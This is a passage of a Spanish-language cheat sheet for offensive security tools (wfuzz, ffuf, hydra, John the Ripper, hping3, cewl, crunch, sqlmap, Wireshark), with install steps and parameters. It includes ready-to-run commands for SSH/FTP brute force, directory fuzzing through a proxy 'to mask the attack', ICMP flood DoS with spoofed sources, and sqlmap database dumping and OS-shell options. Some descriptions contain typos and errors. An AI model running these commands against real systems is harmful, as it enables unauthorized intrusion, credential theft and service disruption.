-t [nº] (El número de hilos concurrentes para realizar el escaneo)
-o [tracefile] (El archivo donde se guardarán los resultados)
--delay [secs] (El tiempo de espera entre cada solicitud, valor en segundos)
PARÁMETROS para el modo DNS:
-d [url] (El dominio a escanear)
-w [wordlist] (La ruta al archivo de palabras a usar para el escaneo)
-i (Muestra las direcciones IP de los subdominios encontrados)
-r (Usa un servidor DNS personalizado)
-c (Muestra los registros CNAME de los subdominios)
--wildcard (Continúa el escaneo incluso cuando se encuentre un dominio comodín)
PARÁMETROS para el modo VHOST:
-u [url] (La URL base a la que se realizará el escaneo)
-w [wordlist] (La ruta al archivo de palabras a usar para el escaneo)
-c [cookies] (Las cookies a usar para las solicitudes)
-r (Sigue las redirecciones)
-H (Especifica cabeceras HTTP adicionales)
-k (Omite la validación del certificado TLS)
-P [password] (Contraseña para autenticación básica)
-U [username] (Nombre de usuario para autenticación básica)
🐙 WFUZZ
Wfuzz es una herramienta activa de fuzzing diseñada para aplicaciones web, que permite buscar contenido oculto como archivos y directorios en un servidor web, encontrar vectores de ataque adicionales, y realizar pruebas de fuerza bruta en parámetros GET y POST para verificar diferentes tipos de inyecciones (SQL, XSS, LDAP, etc.), entre otras funcionalidades.
Instalación:
sudo apt install wfuzz
Ejemplo agresivo. Se indica con FUZZ en la ruta la parte de la URL en la que se quiere probar las entradas de la wordlist:
wfuzz -c -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403,429https://site.com/FUZZ
Ejemplo silent. Se indica con FUZZ en la ruta la parte de la URL en la que se quiere probar las entradas de la wordlist:
wfuzz -c -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403,429 https://site.com/FUZZ
Otro ejemplo usando PROXY para enmascarar el ataque:
wfuzz -c -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -p 213.232.126.62:80:HTTP --sc 200 https://sf01web.wixsite.com/sf01/FUZZ
PARÁMETROS :
-c (Mostrar resultados por cada solicitud)
-t [nº] (Número de hilos - procesos simultáneos)
-w [wordlist] (Lista de palabras)
-H [host] (Header - encabezado. Por ejemplo "Cookie:id=1312321&user=FUZZ")
-v (Verbose - información detallada)
-V (Fuerza bruta en todos los parámetros (allvars y allpost). No se necesita la palabra clave FUZZ)
-b (Especifica una cookie para las solicitudes. Se puede repetir la opción para varias cookie)
-Z (Modo de escaneo. Los errores de conexión serán ignorados)
-D (Depth - Nivel máximo de profundidad de enlace)
-o (Guarda el output en la ruta/archivo especificado)
-L (¿?)
-p [proxy] (El Proxy a utilizar)
-x (Especifica un método HTTP para la solicitud, por ejemplo, HEAD o FUZZ)
-X (Indica que el método HTTP se fuzzeará)
-z [ext] (Indicar extensiones tipo list,html,txt,php... SE usará FUZZ.FUZ2Z en la ruta)
-z [range,1-1000] (Indicar rango de identificador. SE usará FUZZ en la ruta de forma ?product_id=FUZZ)
--basic/ntlm/digest (En formato "usuario:contraseña" o "FUZZ:FUZZ" o "dominio\FUZ2Z:FUZZ")
--sc [nº] (Mostrar códigos de estado indicados, por ejemplo 200)
--hc [nº] (Ocultar códigos de estado indicados, por ejemplo 404)
--sl=[nº] (Show Line. Mostrar respuestas con el número de líneas de contenido especificadas)
--hl=[nº] (Hide Line. Ocultar respuestas con el número de líneas de contenido especificadas)
--sw [nº] (Mostrar Palabras)
--hw [nº] (Ocultar Palabras)
🍥 FFUF
Ffuf es un fuzzer web activo escrito en Go que permite el descubrimiento de directorios, de hosts virtuales (sin registros DNS) y fuzzing de parámetros GET y POST. Este programa es útil para pentesters, hackers éticos y expertos en forense. También puede ser utilizado para pruebas de seguridad.
🌐 https://github.com/ffuf/ffuf
🌐 https://www.kali.org/tools/ffuf
Descarga:
git clone https://github.com/ffuf/ffuf
Instalación:
sudo apt install ffuf
Ejemplo: (importante escribir los parámetros en este orden, o no funcionarán)
ffuf -c -t 100 -u https://site.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
PARÁMETROS :
-u [url] (Especifica la URL objetivo a escanear)
-w [wordlist] (Ruta de la Wordlist)
-o [tracefile] (Especifica el archivo de salida para guardar los resultados del escaneo)
-t [nº] (Establece el número de hilos concurrentes a utilizar durante el escaneo)
-x [ext] (Especifica las extensiones de archivo a agregar a cada URL fuzzada)
-c [000] (Especifica los códigos de respuesta HTTP esperados para considerar como respuestas válidas)
-h (Mostrar Help)
-H (Establece encabezados personalizados para incluir en la solicitud HTTP)
-ac (Automáticamente ajusta el filtrado de solicitudes enviando un número de verificaciones previas antes de
comenzar el fuzzing y cuantifica elementos comunes de esas solicitudes para un filtrado adicional)
-b (Permite pasar datos de cookies para realizar fuzzing detrás de un punto de autenticación)
-rate [nº] (Número máximo de solicitudes que pueden enviarse por segundo para controlar la sobrecarga del destino)
🐲 HYDRA
Hydra es una herramienta de auditoría de inicio de sesión incluida en Kali Linux que se utiliza para realizar ataques de fuerza bruta contra diversos protocolos y servicios. Es capaz de trabajar con múltiples tareas en paralelo y soporta una amplia gama de protocolos, incluyendo SSH, HTTP, FTP, entre otros.
Intento de conexión por fuerza bruta, sabiendo el usuario, con la wordlist rockyou a una IP mediante SSH:
hydra -l [user] -P /usr/share/wordlists/rockyou.txt [IP] ssh
Lo mismo que el anterior pero optimizando el proceso de fuerza bruta:
hydra -t 4 -l [user] -P /usr/share/wordlists/rockyou.txt ssh://[IP]
Intento de conexión por fuerza bruta, sabiendo el usuario, con la wordlist rockyou a localhost mediante FTP:
hydra -l [user] -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1 -t 15
PARÁMETROS :
-f (Termia)
-l [user] (Especifica un nombre de usuario para usar durante el ataque de fuerza bruta)
-L [userlist] (Especifica una lista de nombres de usuario para usar durante el ataque)
-p [password] (Especifica una contraseña para usar durante el ataque)
-P [wordlist] (Especifica una lista de contraseñas para usar durante el ataque)
-s [port] (Especifica un puerto específico)
-t [nº] (Especifica el número de hilos a utilizar durante el ataque. Se indican el número de intentos en paralelo)
-v (Sirve para ver detalles en la salida del comando)
-w [wordlist] (Especifica una lista de palabras para usar durante el ataque)
🎩 JOHN THE RIPPER
John the Ripper (JtR) es una herramienta gratuita y muy popular para descifrar contraseñas en LOCAL, escrita principalmente en C. Es utilizada tanto por administradores de sistemas como por profesionales de pruebas de penetración para identificar y resolver problemas relacionados con políticas de contraseñas débiles. JtR funciona comparando las contraseñas proporcionadas con una tabla de colores interna que contiene hashes de contraseñas comunes, permitiendo así descubrir rápidamente si una contraseña está entre las más utilizadas.
JtR comprueba la fortaleza de claves cifradas mediante ataques de fuerza bruta, diccionario, híbridos o basados en reglas. Compatible con múltiples sistemas operativos, como Linux, macOS y Windows, es especialmente útil para descifrar hashes de contraseñas de diversos algoritmos y formatos.
Soporta una amplia gama de algoritmos, como MD5, SHA-1, SHA-256, bcrypt, NTLM, y más. Además, cuenta con una variante llamada "Jumbo Patch", que amplía el soporte a formatos adicionales y funcionalidades avanzadas.
USOS COMUNES:
- Identificar el tipo de hash:
Antes de intentar descifrar un hash, es crucial identificar su tipo. Para esto, puedes usar herramientas como hashid o hash-identifier.
- Crackear el hash:
Puedes usar John the Ripper para intentar recuperar la contraseña a partir de un archivo de hashes.
- Optimizar ataques:
Utiliza diccionarios personalizados, reglas de transformación y configuraciones optimizadas para maximizar tus posibilidades.
----------------------------------------------------------------------------------------------------------------------------------------------------------
INSTALAR en sistema operativo basado en Linux:
sudo apt update && sudo apt install john
Mostrar AYUDA y OPCIONES DISPONIBLES:
john -h
CREAR un archivo de hash en .txt (ejemplo.txt) con la línea de HASH.
Ejemplos diferentes:
[usuario]:$1$abcdef$9F.mfxDsAe81UvoBQ3gKn. (nombre de usuario, $1$ indica que es MD5 encriptado, y el propio HASH)
5f4dcc3b5aa765d61d8327deb882cf99 (un HASH tal cual)
EJECUTAR John the Ripper (en modo STANDARD) sobre el archivo .txt creado (puede tardar un tiempo):
john ejemplo.txt
EJECUTAR John the Ripper (con una WORDLIST concreta) sobre el archivo .txt creado (puede tardar un tiempo):
john --wordlist=/usr/share/wordlists/rockyou.txt ejemplo.txt
EJECUTAR John the Ripper (en modo INCREMENTAL, que prueba todas las combinaciones posibles de caracteres)
sobre el archivo .txt creado (puede tardar bastante tiempo):
john --incremental ejemplo.txt
EJECUTAR John the Ripper (en modo INCREMENTAL, definiendo el conjunto de caracteres o la longitud máxima)
sobre el archivo .txt creado (puede tardar bastante tiempo):
john --incremental=ASCII --max-lenght=8 ejemplo.txt
Una vez se haya terminado de procesar el archivo, se pueden VISIONAR los RESULTADOS con:
john --show ejemplo.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------
PARÁMETROS:
--wordlist=[ruta] (especifica un diccionario para ataques de diccionario)
--rules (aplica reglas de transformación al diccionario)
--incremental (realiza un ataque de fuerza bruta incremental)
--format=[formato] (especifica el formato del hash)
--show (muestra contraseñas crackeadas en el archivo)
--restore (restaura una sesión previa que haya sido detenida)
--session=[nombre] (especifica un nombre para la sesión)
--pot=[archivo] (cambia el archivo donde se guardan las contraseñas crackeadas)
--list=formats (lista los formatos de hash soportados)
--status (muestra el progreso de la sesión actual)
----------------------------------------------------------------------------------------------------------------------------------------------------------
EJEMPLO SENCILLO:
1. Preparar un archivo de hashes: Imagina que tienes un archivo hashes.txt con los siguientes hashes MD5:
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
3. Crackear los hashes con un diccionario (sabiendo que el HASH está en formato MD5):
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes.txt
4. Ver las contraseñas extraidas de los HASHES:
john --show hashes.txt
⭕ HPING3
hping3 es una utilidad de línea de comandos para crear y enviar paquetes TCP/IP personalizados. Es una herramienta versátil que te permite realizar diversas tareas, como escaneo de red, fingerprinting, y pruebas de seguridad de la red. Con hping3, puedes simular diferentes tipos de tráfico de red, haciéndolo una herramienta valiosa para pruebas de red y solución de problemas. También puede usarse para realizar ataques DDoS.
Instalación:
sudo apt-get install hping3
Uso básico. Enviar paquetes ICMP y mostrar las respuestas:
hping3 [IP]
Escanear rango de puertos 1 a 100 de un host:
hping3 -c 100 -p 1-100 [IP]
PARÁMETROS :
-c (Especifica el número de paquetes a enviar)
-i (Define el intervalo entre paquetes enviados)
-n (Muestra la salida numérica)
-q (Modo tranquilo, minimiza la salida)
-v (Verbosidad, muestra más detalles)
-s (Envía paquetes tan rápido como sea posible sin mostrar respuestas)
--flood (Ordena enviar paquetes de manera continua hasta que se detenga manualmente)
--rand-source (Genera direcciones IP aleatorias para cada paquete enviado, lo que puede ayudar a evitar ser detectado fácilmente)
-p [protocol] (Especifica el protocolo a utilizar, en este caso, ICMP)
Realizar ataque DDoS de inundación ICMP (podría caer la conexión del equipo atacante):
sudo hping3 --flood --rand-source [IP] -p ICMP
Realizar ataque DDoS de inundación ICMP aún más agresivo (podría caer la conexión del equipo atacante):
sudo hping3 --flood -S 100 -s 64 -I eth0,eth1 -w 10 -i 0.01 --rand-source [IP] -p ICMP
👨💻 CEWL
Cewl es una herramienta útil en el campo del pentesting y la seguridad informática para generar listas de contraseñas personalizadas. Esta herramienta se destaca por su capacidad para raspar y compilar palabras clave de sitios web específicos, lo cual es especialmente útil para realizar ataques de diccionario personalizados.
Cewl es especialmente útil para
SINTAXIS:
cewl [parámetros] [url]
EJEMPLO PRÁCTIVO:
cewl -d 2 -m 5 -e -v -w mywordlist.txt http://example.com
PARÁMETROS :
-d (Profundidad de escaneo. Define cuantos niveles de enlaces seguir desde la página principal)
-m (Longitud mínima de palabras incluidas en la lista)
-w (Archivo de salida donde se guardarán las palabras)
-e (Incluir correos electrónicos encontrados en la web)
-c (Incluir la URL de la página que contiene cada palabra)
-a (Proporciona una cadena de agente de usuario personalizada)
-v (Verbosidad, muestra más detalles durante la ejecución)
⚡ CRUNCH
Crunch es una herramienta ampliamente utilizada en pentesting y seguridad informática para generar listas de contraseñas mediante la creación de combinaciones y permutaciones de un conjunto especificado de caracteres. Esta herramienta es particularmente útil cuando se necesitan listas de contraseñas exhaustivas que incluyan todas las posibles combinaciones de ciertos caracteres con longitudes específicas.
Cewl es especialmente útil para
SINTAXIS:
crunch [min_length] [max_length] [characters] [parámetros]
EJEMPLO PRÁCTIVO:
crunch 8 8 abcdefghijklmnñopqrstuvwxyz0123456789 -o mywordlist.txt
PARÁMETROS :
-o (Especifica el archivo de salida)
-t (Usa un patrón específico donde el símbolo @ representa una letra minúscula, , una letra mayúscula, % un número
y ^ un caracter especial)
-z (Comprime la salida usando gzip, bzip2, lzma o 7z)
🛑 SQLMAP
SQLMap es una herramienta de código abierto ampliamente utilizada para automatizar la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Está preinstalada en distribuciones como Kali Linux y es muy popular entre los analistas de ciberseguridad y pentesters debido a su capacidad para realizar pruebas exhaustivas en sistemas vulnerables. SQLMap puede automatizar tareas complejas, como identificar vulnerabilidades, extraer bases de datos completas, manipular datos, y más.
CARACTERÍSTICAS CLAVE
1. Soporta múltiples técnicas de inyección SQL, incluyendo:
- Boolean-based blind
- Time-based blind
- Error-based
- Union query
- Stacked queries
- Out-of-band
2. Compatible con varios motores de bases de datos, como MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, entre otros.
3. Capaz de extraer información, descargar bases de datos y realizar ataques avanzados.
4. Flexibilidad en configuraciones para pruebas personalizadas.
Clonar el repositorio oficial desde GitHub:
git clone https://github.com/sqlmapproject/sqlmap.git
Navega al directorio del proyecto:
cd sqlmap
Ejecutar con Python para INSTALAR:
python3 sqlmap.py
EJEMPLO SIMPLE:
sqlmap -u "http://ejemplo.com/products.php?id=1" --dbs
EJEMPLO AVANZADO:
sqlmap -u "http://ejemplo.com/products.php?id=1" -D example_db -T users --dump
EJEMPLO con WIZARD (asistente):
sqlmap --wizard
PARÁMETROS:
-u [URL] (Especifica la URL objetivo)
--data [data] (Envía datos personalizados en una solicitud POST)
--cookie [cookie] (Utiliza una cookie específica en la solicitud HTTP)
--dbs (Enumera todas las bases de datos disponibles)
--tables (Lista todas las tablas en una base de datos específica)
--columns (Lista todas las columnas de una tabla específica)
-D [database] (Especifica la base de datos objetivo)
-T [tabla] (Especifica la tabla objetivo)
-C [columna] (Especifica las columnas objetivo)
--dump (Descarga los datos de una base de datos o tabla específica)
--risk [nivel] (Ajusta el nivel de riesgo (1-3) para las pruebas de inyección)
--level [nivel] (Configura el nivel de profundidad para las pruebas, 1-5)
--os-shell (Intenta obtener acceso a una shell del sistema operativo)
--batch (Ejecuta SQLMap sin solicitar confirmación interactiva)
--tamper [script] (Usa un script para evadir firewalls o WAFs. Ejemplo: --tamper=space2comment)
--proxy [proxy] (Redirige el tráfico a través de un proxy)
--random-agent (Usa un User-Agent aleatorio para simular diferentes navegadores)
--wizard (activa un asistente interactivo que te guía paso a paso para configurar tu ataque o prueba de inyección SQL)
🦈 WIRESHARK
Wireshark es un analizador de paquetes de red gratuito y de código abierto. Se utiliza para la solución de problemas de red, análisis, desarrollo de software y protocolos de comunicación, y educación. Originalmente llamado Ethereal, el proyecto fue renombrado a Wireshark en 2006 debido a problemas de copyright.
Instalación el Linux:
sudo apt install wireshark
MONITOREAR TRÁFICO DE RED CON WIRESHARK
En el siguiente ejemplo "dumpearemos" el tráfico TCP de la red local a un archivo (captura.cap), para posteriormente escanear el router con nmap. Este escaneo quedará registrado en el archivo indicado, que finalmente abriremos con Wireshark para analizar lo sucedido. Usaremos dos consolas simultáneamente.
CONSOLA 1
sudo tcpdum -i eth0 -v -w captura.cap
CONSOLA 2
sudo nmap -p22 192.168.1.1
CONSOLA 1
ctrl + c (para cancelar el dumpeo)
CONSOLA 1
sudo wireshark captura.cap &>/dev/null & disown
FILTRADO EN WIRESHARK
tcp.port==22

COMANDOS DE FILTRADO WIRESHARK
